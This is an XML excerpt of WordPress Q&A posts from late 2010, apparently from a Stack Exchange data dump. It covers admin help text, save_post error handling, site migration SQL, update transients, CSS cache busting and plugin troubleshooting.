  <row Id="5099" PostTypeId="2" ParentId="5087" CreationDate="2010-12-09T18:42:27.293" Score="1" ViewCount="" Body="&lt;p&gt;Have you looked into this plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds a lot like what you need.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-09T18:42:27.293" CommentCount="3" />
  <row Id="5100" PostTypeId="2" ParentId="5098" CreationDate="2010-12-09T19:40:11.977" Score="5" ViewCount="" Body="&lt;p&gt;Put this in your theme's function.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//function to edit help screen contents&#xA;    function my_plugin_help($contextual_help, $screen_id, $screen) {&#xA;&#xA;        global $my_plugin_hook;&#xA;        if ($screen_id == $my_plugin_hook) {&#xA;&#xA;            $contextual_help = 'This is where I would provide help to the user on how everything in my admin panel works. Formatted HTML works fine in here too.';&#xA;        }&#xA;        return $contextual_help;&#xA;    }&#xA;&#xA;add_action('contextual_help', 'my_plugin_help', 10, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Modify to suit your needs.  Don't delete or change things from the core (wp-admin folder) - it will only get overwritten every time you upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit &lt;a href=&quot;http://codex.wordpress.org/Adding_Contextual_Help_to_Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Adding_Contextual_Help_to_Administration_Menus&lt;/a&gt; for more help.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-09T19:40:11.977" />
  <row Id="5101" PostTypeId="2" ParentId="5085" CreationDate="2010-12-09T20:14:49.917" Score="0" ViewCount="" Body="&lt;p&gt;Figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to put the mail functions after the final register widget function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  register_widget('med_contact');&#xA;    ?&amp;gt;&#xA;    Form mail functionality here;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-12-09T20:14:49.917" CommentCount="1" />
  <row Id="5102" PostTypeId="1" AcceptedAnswerId="5103" CreationDate="2010-12-09T21:57:18.320" Score="6" ViewCount="825" Body="&lt;p&gt;I have a function that defines a custom field on a post type. Say the field is &quot;subhead&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the post is saved, I want to do some validation on the input, and display an error message on the post edit screen if necessary. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Handle post updating&#xA;function wpse_update_post_custom_values($post_id, $post) {&#xA;&#xA;    // Do some checking...&#xA;    if($_POST['subhead'] != 'value i expect') {&#xA;&#xA;        // Add an error here&#xA;        $errors-&amp;gt;add('oops', 'There was an error.');&#xA;&#xA;    }&#xA;&#xA;    return $errors;&#xA;&#xA;} &#xA;add_action('save_post','wpse_update_post_custom_values',1,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to hook this to the save_post action, but I can't figure out how to handle errors. There doesn't appear to be an error object passed into the function, and if i create my own WP_Error obj and return it, it's not respected by whatever mechanism spits out errors on the post edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have an on-page error message inside my custom meta box, but this is less than ideal--I'd rather have a big, red, up-at-the-top error like WP normally displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on @Denis' answer, I tried a few different things. Storing errors as a global didn't work, because Wordpress does a redirect during the save_post process, which kills the global before you can display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up storing them in a meta field. The problem with this is that you need to clear them out, or they won't go away when you navigate to another page, so I had to add another function attached to the admin_footer that just clears out the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't have expected that error handling for something so common (updating posts) would be this clunky. Am I missing something obvious or is this the best approach?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Handle post updating&#xA;function wpse_5102_update_post_custom_values($post_id, $post) {&#xA;&#xA;    // To keep the errors in&#xA;    $errors = false;&#xA;&#xA;    // Do some validation...&#xA;    if($_POST['subhead'] != 'value i expect') {&#xA;&#xA;        // Add an error here&#xA;        $errors .= 'whoops...there was an error.';&#xA;&#xA;    }&#xA;&#xA;    update_option('my_admin_errors', $errors);&#xA;&#xA;    return;&#xA;&#xA;} &#xA;add_action('save_post','wpse_5102_update_post_custom_values',1,2);&#xA;&#xA;&#xA;// Display any errors&#xA;function wpse_5102_admin_notice_handler() {&#xA;&#xA;    $errors = get_option('my_admin_errors');&#xA;&#xA;    if($errors) {&#xA;&#xA;        echo '&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;' . $errors . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;    }   &#xA;&#xA;}&#xA;add_action( 'admin_notices', 'wpse_5102_admin_notice_handler' );&#xA;&#xA;&#xA;// Clear any errors&#xA;function wpse_5102__clear_errors() {&#xA;&#xA;    update_option('my_admin_errors', false);&#xA;&#xA;}&#xA;add_action( 'admin_footer', 'wpse_5102_clear_errors' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2010-12-10T00:25:44.397" LastActivityDate="2011-06-14T10:36:04.070" Title="Add validation and error handling when saving custom fields?" Tags="&lt;custom-field&gt;&lt;errors&gt;&lt;save-post&gt;&lt;handling&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="5" />
  <row Id="5103" PostTypeId="2" ParentId="5102" CreationDate="2010-12-09T22:02:19.657" Score="2" ViewCount="" Body="&lt;p&gt;Store errors in your class or as a global, possibly in a transient or meta, and display them in admin notices on POST requests. WP does not feature any flash message handler.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-09T22:02:19.657" CommentCount="2" />
  <row Id="5104" PostTypeId="1" CreationDate="2010-12-09T22:12:02.393" Score="0" ViewCount="255" Body="&lt;p&gt;I have been setting up a wordpress for a business memberships, where the business sign up and list their company information to our site. Once they become a member their company listing and what they offer is supposed to be listed on in certain categories (which will be populated on the homepage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know how to create a membership page for sign up. So when the person signs up they are listed in a certain category that will be listed on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I gave enough details on this matter. Im using version 3.0.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help/advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T18:09:40.743" LastActivityDate="2011-02-06T10:55:55.020" Title="How to setup a membership system in Wordpress?" Tags="&lt;3.0&gt;&lt;categories&gt;&lt;homepage&gt;&lt;directory&gt;&lt;membership&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="5105" PostTypeId="1" AcceptedAnswerId="5119" CreationDate="2010-12-09T01:10:42.017" Score="0" ViewCount="228" Body="&lt;p&gt;i'm using this sql..&#xA;but it does not work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://old.com, 'http://new.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_options SET option_value = replace(option_value, 'http://old.com', 'http://new.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://old.com,'http://new.com');&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://old.com','http://new.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://old.com, 'http://new.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://old.com', 'http://new.com');&#xA;&#xA;UPDATE wp_faquestion SET QuestionAnswer = replace(QuestionAnswer, 'http://old.com, 'http://new.com');&#xA;&#xA;UPDATE wp_faquestion SET QuestionAnswer = replace(QuestionAnswer, 'http://old.com', 'http://new.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://old.com, 'http://new.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://old.com', 'http://new.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2010-12-10T00:27:24.563" Title="how to move a wordpress site to another server" Tags="&lt;sql&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="5106" PostTypeId="2" ParentId="5105" CreationDate="2010-12-09T01:17:01.280" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-09T22:48:05.267" />
  <row Id="5107" PostTypeId="2" ParentId="5105" CreationDate="2010-12-09T01:17:29.210" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.ehow.com/how_4579080_export-import-wordpress-blog.html&quot; rel=&quot;nofollow&quot;&gt;How to Export and Import a Wordpress Blog&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-09T22:48:05.267" CommunityOwnedDate="2010-12-09T01:29:05.343" CommentCount="1" />
  <row Id="5108" PostTypeId="1" AcceptedAnswerId="5111" CreationDate="2010-12-09T23:01:54.890" Score="1" ViewCount="174" Body="&lt;p&gt;Since upgrading to WP 3.0.1, a couple of my sites no longer display the update link to 3.02/3.03 on the Dashboard or on the Updates page. On one site, I tried re-applying permissions, but this didn't change a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no plugins related to 'hiding' update/nag messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the sites have been around since 2.7. &lt;/p&gt;&#xA;" OwnerUserId="593" LastActivityDate="2010-12-14T12:36:49.707" Title="Missing Update Link to 3.02/3.03 on Dashboard" Tags="&lt;auto-update&gt;" AnswerCount="1" />
  <row Id="5109" PostTypeId="2" ParentId="5104" CreationDate="2010-12-09T23:06:28.387" Score="1" ViewCount="" Body="&lt;p&gt;There are hooks in wp-login.php that allow to set up a custom forms. You could use them to override the register and login screens as necessary.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-09T23:06:28.387" CommentCount="2" />
  <row Id="5110" PostTypeId="2" ParentId="5098" CreationDate="2010-12-09T23:14:10.190" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But for plugin pages,I can't able to find the files to remove.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For dealing with plugin/registered pages that you won't necessarily know the hooks for, something like this will work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head', 'set_plugin_help_text');&#xA;function set_plugin_help_text() {&#xA;    global $_registered_pages;&#xA;    if( !empty( $_registered_pages ) )&#xA;        foreach( array_keys( $_registered_pages ) as $hook )&#xA;            add_contextual_help( $hook, &quot;Your generic plugin page help text&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&lt;br&gt;&#xA;I purposely didn't use the contextual help action(as used in RodeoRamsey's answer) because it doesn't work for the above approach(so it wasn't without reason, i notice the other answer got more votes and i presume that *may* be why).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course do note that the custom-background, custom-header and the theme editor pages under the themes menu also count as registered pages, so they'll naturally be effected by the above code (you can always factor some exclusion code into the above to deal with that though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT BELOW:&lt;/strong&gt;&lt;br&gt;&#xA;Additionally if you want to modify the help text for pages that aren't registered, ie. those that exist physically in WordPress and are used by WordPress, you can use the following approach.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'contextual_help_list', 'wp_help_info_replace', 10000000, 2 );&#xA;function wp_help_info_replace( $help, $screen ) {&#xA;    if( in_array( $screen-&amp;gt;id, array( 'post', 'edit-post' ) ) )&#xA;        $help[$screen-&amp;gt;id] = 'Simple example help text';&#xA;    return $help;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example i'm targetting &lt;strong&gt;edit.php&lt;/strong&gt; and &lt;strong&gt;post-new.php&lt;/strong&gt;, be sure to pay attention to the array values that refer to the screen ID, this value does not match what you'd typically expect to see as the pagehook, i would suggest echo'ing out the screen ID for screens where you're unsure about what the ID may be.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-08T13:28:41.240" LastActivityDate="2011-07-08T13:28:41.240" CommentCount="3" />
  <row Id="5111" PostTypeId="2" ParentId="5108" CreationDate="2010-12-09T23:20:47.283" Score="6" ViewCount="" Body="&lt;p&gt;Try flushing out the transient data(options prefixed with &lt;code&gt;_site_transient_update_&lt;/code&gt; - wp_options table), WP will recreate them for you anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not always a solution but tends to work for me when i have that problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by adding the following lines to your current theme's &lt;strong&gt;functions.php&lt;/strong&gt; (in wp-content/themes/YOURTHEME/functions.php).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete_option( '_site_transient_update_core' );&#xA;delete_option( '_site_transient_update_themes' );&#xA;delete_option( '_site_transient_update_plugins' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You probably only need the first one, but i usually flush them all if i'm flushing one(can't hurt to have a refresh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load any page up once, admin page, post page, whatever, then remove the code(it only needs to run for one page load).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-14T12:36:49.707" LastActivityDate="2010-12-14T12:36:49.707" CommentCount="6" />
  <row Id="5112" PostTypeId="2" ParentId="5074" CreationDate="2010-12-09T23:28:23.000" Score="0" ViewCount="" Body="&lt;p&gt;I have seen this happen before and it was a result of missing js files in the wp-includes/js/ directory.  Try reinstalling to see if it fixes the problem for you.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-12-09T23:28:23.000" />
  <row Id="5113" PostTypeId="1" CreationDate="2010-12-09T23:41:01.287" Score="0" ViewCount="61" Body="&lt;p&gt;Hopefully this is the easiest question ever asked. I have a WordPress site with BBP installed. I want to be able to pull the latest BBP posts in a php query I can use throughout the site. What is easiest way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2010-12-10T22:27:45.870" Title="Pull Latest Forum Posts within WordPress" Tags="&lt;3.0&gt;" AnswerCount="1" />
  <row Id="5114" PostTypeId="1" AcceptedAnswerId="5127" CreationDate="2010-12-09T23:47:38.997" Score="0" ViewCount="504" Body="&lt;p&gt;Couldn't find anything in the related questions, so here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a post which, when viewed on the site, is returning a redirect loop. The error page is showing an address for the post that originated when the post was added to a category that was subsequently deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.macrowikinomics.com/innovation-communities/business-economics/will-facebook-be-your-crm-provider&quot; rel=&quot;nofollow&quot;&gt;www.macrowikinomics.com/innovation-communities/business-economics/will-facebook-be-your-crm-provider&lt;/a&gt; is the correct address, but it keeps redirecting to www.macrowikinomics.com/innovation-communities/guest-authors/will-facebook-be-your-crm-provider/. Guest-authors was the old category obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought was it might be the automatic canonical URL redirect feature. Despite adding the disable canonical url function (src = Mark Jaquith) it continues to redirect to this old address. Cleared the cache and cookies and still it goes. Tried it in another browser and I continue to get the error. There is also no cache plugin running on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be something in the pretty permalinks? They're using the format /%category%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any thoughts you can provide.&lt;/p&gt;&#xA;" OwnerUserId="1340" LastEditorUserId="1340" LastEditorDisplayName="" LastEditDate="2010-12-09T23:54:08.473" LastActivityDate="2010-12-10T03:39:47.387" Title="How to reset canonical URLs / fix redirect loop" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5116" PostTypeId="1" AcceptedAnswerId="5117" CreationDate="2010-12-09T23:55:14.243" Score="0" ViewCount="284" Body="&lt;p&gt;All right, so we're probably all familiar with the typical way to ensure that your main CSS file is refreshed when you load the page (busting the browser cache), right?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot;&#xA;  href=&quot;&amp;lt;?php echo get_stylesheet_uri();&#xA;    echo '?'.filemtime( get_stylesheet_directory() . '/style.css'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to do the same thing on another CSS file. Yes, my style.css file has its own set of @import &quot;css/myFile.css&quot; which are working fine, but humor me, if you will.&#xA;So, back to header.php, right after that first link, and before the call to wp_head():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $cssFile = get_stylesheet_directory_uri().'/css/other.css'; ?&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot;&#xA;  href=&quot;&amp;lt;?php echo $cssFile; echo '?'.filemtime($cssFile); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this leads to a warning (as part of the href attribute of the link when the browser gets the page):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: filemtime(): stat failed for &lt;a href=&quot;http://localhost/wordpress/wp-content/themes/my_theme/css/other.css&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wordpress/wp-content/themes/my_theme/css/other.css&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the path to the file seems to be built correctly (and the other.css file is there), but filemtime (stat, actually) fails on it. How come?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other recommended ways to include the 'latest' version of a CSS file other than style.css?&#xA;Should I go with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_register_style&quot; rel=&quot;nofollow&quot;&gt;wp_register_style&lt;/a&gt; instead? If so... how can I tell wp_register_style to bust the browser cache (ie: get me the latest version of the css file, even if the browser has it cached)?&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="456" LastActivityDate="2011-01-26T14:24:07.150" Title="Cache busting CSS files other than style.css" Tags="&lt;css&gt;" AnswerCount="4" />
  <row Id="5117" PostTypeId="2" ParentId="5116" CreationDate="2010-12-10T00:03:09.600" Score="2" ViewCount="" Body="&lt;p&gt;You're using the file's path in the first call, but its URL in the second. So it won't work.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-10T00:03:09.600" CommentCount="1" />
  <row Id="5118" PostTypeId="2" ParentId="5116" CreationDate="2010-12-10T00:14:22.663" Score="1" ViewCount="" Body="&lt;p&gt;I tend to just enqueue the main stylesheet using &lt;code&gt;wp_enqueue_style&lt;/code&gt;, and append something to the version when i want to prevent caching..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ver = '';&#xA;wp_enqueue_style( 'theme_style', get_bloginfo('stylesheet_url'), false, $ver );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i want to stop caching i update &lt;code&gt;$ver&lt;/code&gt; to something that will constantly change, such as the time..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ver = time();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something similar..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-10T00:14:22.663" CommentCount="2" />
  <row Id="5119" PostTypeId="2" ParentId="5105" CreationDate="2010-12-10T00:27:24.563" Score="2" ViewCount="" Body="&lt;p&gt;I do this all the time to move a site from our staging server to the live domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use PHPMyAdmin to export the database as an SQL file, then open it up in a text editor and do a global find and replace on the old url to change it to the new url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use the SQL script to import the new SQL file to the new database, and copy the file across. Works like magic every time.&lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2010-12-10T00:27:24.563" />
  <row Id="5120" PostTypeId="2" ParentId="5104" CreationDate="2010-12-10T00:38:53.827" Score="0" ViewCount="" Body="&lt;p&gt;There are a number of ways to go about this and they'd depend on the scope of the listings and your knowledge of Wordpress.  The simplest would be to install one of the numerous Business Directory plugins.  Some of them have a customizable front end registration form.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also set up a custom post type for a Business Listing with a custom taxonomy for the different organizational characteristics they will be defined by.  Then you could create come custom meta boxes on the post write screen where they would enter their business profile.  &lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-10T00:38:53.827" CommentCount="1" />
  <row Id="5121" PostTypeId="1" AcceptedAnswerId="5124" CreationDate="2010-12-10T00:52:54.583" Score="2" ViewCount="162" Body="&lt;p&gt;I have a custom post type that I want to display the page you are on and how many pages total in this manner &quot;Page 3 of 5&quot; (meaning you are on page 3 of a 5 page post).  These don't have to be links, just plain text numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd still like to keep the standard function of the wp_page_links parameter &quot;next_or_number&quot; set to &quot;next&quot;, but add this other page indicator.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried experimenting with making my own funciton with some of the variables in the wp_page_links function on line 567 of the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-includes/post-template.php&quot; rel=&quot;nofollow&quot;&gt;post-template.php&lt;/a&gt; file but I didn't get anywhere.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-10T20:27:39.620" Title="Display &quot;Page 3 of 5&quot; for a paginated post" Tags="&lt;pagination&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="5122" PostTypeId="2" ParentId="5116" CreationDate="2010-12-10T01:07:57.503" Score="1" ViewCount="" Body="&lt;p&gt;Here is the code I have from an unreleased CDN plugin I have.  It will automatically replace the ver query_var that the enqueue functions use with the file time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CDN_VersionAssets {&#xA;&#xA;    private $default_version = '';&#xA;    private $root_url;&#xA;&#xA;    public function __construct() {&#xA;        $this-&amp;gt;root_url = site_url();&#xA;    }&#xA;&#xA;    public function initialize() {&#xA;        add_filter('style_loader_src', array($this, 'replace_version'), 10);&#xA;        add_filter('script_loader_src', array($this, 'replace_version'), 10);&#xA;        add_filter('stylesheet_uri', array($this, 'replace_version'), 10);&#xA;    }&#xA;&#xA;    public function on_template_redirect() {&#xA;        $this-&amp;gt;default_version = @filemtime(get_stylesheet_directory().'/style.css');&#xA;    }&#xA;&#xA;    private function get_version($url) {&#xA;        if(0 === strpos($url, $this-&amp;gt;root_url)) {&#xA;            $parts = parse_url($url);&#xA;            $file_path = str_replace(site_url('/'), ABSPATH, $parts['scheme'].'://'.$parts['host'].$parts['path']);&#xA;            if( !($version = @filemtime($file_path)) ) {&#xA;                $version = $this-&amp;gt;default_version;&#xA;            }&#xA;            return $version;&#xA;        }&#xA;        return false;&#xA;    }&#xA;&#xA;    public function replace_version($src) {&#xA;        if( $new_version = $this-&amp;gt;get_version($src) ) {&#xA;            return add_query_arg('ver', $new_version, $src);&#xA;        }&#xA;        return $src;&#xA;    }&#xA;}&#xA;add_action('init', array(new CDN_VersionAssets(), 'initialize'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-12-10T01:07:57.503" CommentCount="1" />
  <row Id="5123" PostTypeId="1" CreationDate="2010-12-10T01:23:12.107" Score="1" ViewCount="342" Body="&lt;p&gt;Like mentioned in the title, i think this is by far one problem Automattic or Wordpress team cannot solve until no matter what version Wordpress will go in future. In this question, i am focusing to the white screen of death that i get whenever i want to activate certain plugins. I am developing a site that requires me to use 30 plugins. Yeah, some will say thats too many plugins for a site, no wonder i will get the white screen. But hey, this is Wordpress, one of the reason that makes Wordpress the most popular blogging platform is because the availability of the plugins that can make you achieve your goal in less time. For those who expert in php+wp development, you guys can say hack the wp is better than using a lot of plugins like what i am doing but hey, majority of wp users are not php guru. Most of them are normal user like me or even just know how to install and use what are available to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, here the common steps we do when get the white screen of death (WSOD).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename the &lt;strong&gt;wp-content/plugins&lt;/strong&gt; folder name such as &lt;strong&gt;wp-content/plugins-temp&lt;/strong&gt;, this will deactivate all plugins&lt;/li&gt;&#xA;&lt;li&gt;Like me, i prefer rename the individual plugin folder name, such as &lt;strong&gt;wp-content/plugins/akismet&lt;/strong&gt; to &lt;strong&gt;wp-content/plugins/akismet-temp&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;After that, reactivate all the plugins one by one, so we can know which plugin is the culprit&lt;/li&gt;&#xA;&lt;li&gt;Check for extra empty space at the end of the plugin file, especially after the php closing tag ?&gt; make sure there is no extra space after the tag. Make sure check at the theme functions.php file (if any) or the plugin file.&lt;/li&gt;&#xA;&lt;li&gt;Increase the memory allocation for wordpress&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Usually, your site will be back to normal after that. &lt;strong&gt;BUT&lt;/strong&gt; this will still not solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, this is very annoying to me, especially the step number 3. How can we know which plugin is the culprit?? At the first place, i thought the step number 3 is really a fact but now i think its a lie. WHY?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like right now, suddenly after i activate 25 plugins, one of plugin that i cannot reactivate is Akismet. What? Akismet? Yes, the plugin dev by the WP team itself. I know the step number 3 above is a lie because if i activate Akismet first, the Akismet is activated successfully. No problem at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now the problem is plugins compatibility among the plugins. How can me as a normal user can identify which plugin that is not friendly to what plugin??? If i am using 30 plugins, how many probabilities from one plugin is not compatible to each plugin???? how can i know which plugins should be activated first so the WSOD will not appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is error, then maybe i can have a clue, but its a plain white screen. I am clueless. This clash of plugins in wordpress is really an unsolved problem that makes me really stress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to fix this? At least know how to activate the plugins via mysql?&lt;/p&gt;&#xA;" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-22T05:45:19.167" LastActivityDate="2011-02-22T05:45:19.167" Title="The famous Wordpress white screen of death" Tags="&lt;faq&gt;&lt;white-screen-of-death&gt;" AnswerCount="3" />
  <row Id="5124" PostTypeId="2" ParentId="5121" CreationDate="2010-12-10T01:27:50.730" Score="3" ViewCount="" Body="&lt;p&gt;The current / total page count is set up by &lt;code&gt;setup_postdata()&lt;/code&gt; which runs at the beginning of the loop. So, if you're in the loop, all you have to do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $page, $numpages;&#xA;echo &quot;Page $page of $numpages&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to do that outside of the loop, do this first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $page, $post, $numpages;&#xA;// This next line is optional: sets a new global $post variable&#xA;$post = get_post(123);&#xA;setup_postdata($post);&#xA;echo &quot;Page $page of $numpages&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-12-10T20:27:39.620" LastActivityDate="2010-12-10T20:27:39.620" CommentCount="1" />
